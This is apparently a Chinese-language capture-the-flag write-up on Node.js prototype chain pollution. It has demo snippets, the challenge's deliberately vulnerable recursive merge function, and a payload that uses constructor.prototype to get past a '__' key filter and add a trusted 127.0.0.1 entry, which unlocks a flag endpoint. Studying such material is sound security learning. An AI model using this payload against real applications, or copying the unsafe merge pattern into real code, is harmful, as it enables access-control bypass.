知识:nodejs的原型链污染
nodejs中每一个对象都对应一个原型和构造方法,其原型也有自己的原型,以此类推,直到null。
取a.__proto__能获得a的原型
取a.constructor能获得a的构造方法
取构造方法的属性prototype能获得其原型
因此a["constructor"].prototype就是a的原型。
| function Person(name) { |
| this.name = name; |
| } |
| |
| var person = new Person("Alice"); |
| console.log(person["constructor"]); |

| var userStorage = { |
| username: { |
| password: "password", |
| info: { |
| age: 18, |
| }, |
| strategy: { |
| "baidu.com": true, |
| "google.com": false, |
| }, |
| }, |
| }; |
| console.log(userStorage["__proto__"]); |
| console.log(userStorage["constructor"]); |
| console.log((userStorage["constructor"])["prototype"]); |

原型链污染:在传入的 用于修改的键名和键值都可控时,如果能为对象的原型加上一条属性,那么访问对象时就会访问到添加的属性,达到污染效果。
| var userStorage = { |
| username: { |
| password: "password", |
| info: { |
| age: 18, |
| }, |
| strategy: { |
| "baidu.com": true, |
| "google.com": false, |
| }, |
| }, |
| }; |
| |
| console.log(userStorage["__proto__"]); |
| userStorage.__proto__["hello"]="world"; |
| console.log(userStorage["hello"]); |

| var userStorage = { |
| username: { |
| password: "password", |
| info: { |
| age: 18, |
| }, |
| strategy: { |
| "baidu.com": true, |
| "google.com": false, |
| }, |
| }, |
| }; |
| |
| console.log(userStorage["__proto__"]); |
| console.log(userStorage["constructor"]); |
| console.log(userStorage["username"].info.constructor); |
| |
| |
| userStorage["username"].info.constructor.prototype["127.0.0.1"]=true; |
| console.log(userStorage["username"]["strategy"]["127.0.0.1"]); |

题目关键:
| var userStorage = { |
| username: { |
| password: "password", |
| info: { |
| age: 18, |
| }, |
| strategy: { |
| "baidu.com": true, |
| "google.com": false, |
| }, |
| }, |
| }; |
| |
| function update(dst, src) { |
| for (key in src) { |
| if (key.indexOf("__") != -1) { |
| continue; |
| } |
| if (typeof src[key] == "object" && dst[key] !== undefined) { |
| update(dst[key], src[key]); |
| continue; |
| } |
| dst[key] = src[key]; |
| } |
| } |
| |
| app.post("/user/info", (req, res) => { |
| if (!req.session.username) { |
| res.sendStatus(403); |
| } |
| update(userStorage[req.session.username].info, req.body); |
| res.sendStatus(200); |
| }); |
| app.get("/flag", (req, res) => { |
| if ( |
| req.headers.host != "127.0.0.1:3000" || |
| req.hostname != "127.0.0.1" || |
| req.ip != "127.0.0.1" |
| ) { |
| res.sendStatus(400); |
| return; |
| } |
| const data = fs.readFileSync("/flag"); |
| res.send(data); |
| }); |
目标是在userStorage.username.strategy中能访问到127.0.0.1:true
利用/user/info接口update函数的原型链污染,传入payload:
| { |
| "constructor":{"prototype":{"127.0.0.1":true}} |
| } |
即可修改object构造函数的原型,添加属性"127.0.0.1":true
访问?proxy=127.0.0.1:3000/flag即可。
Comments NOTHING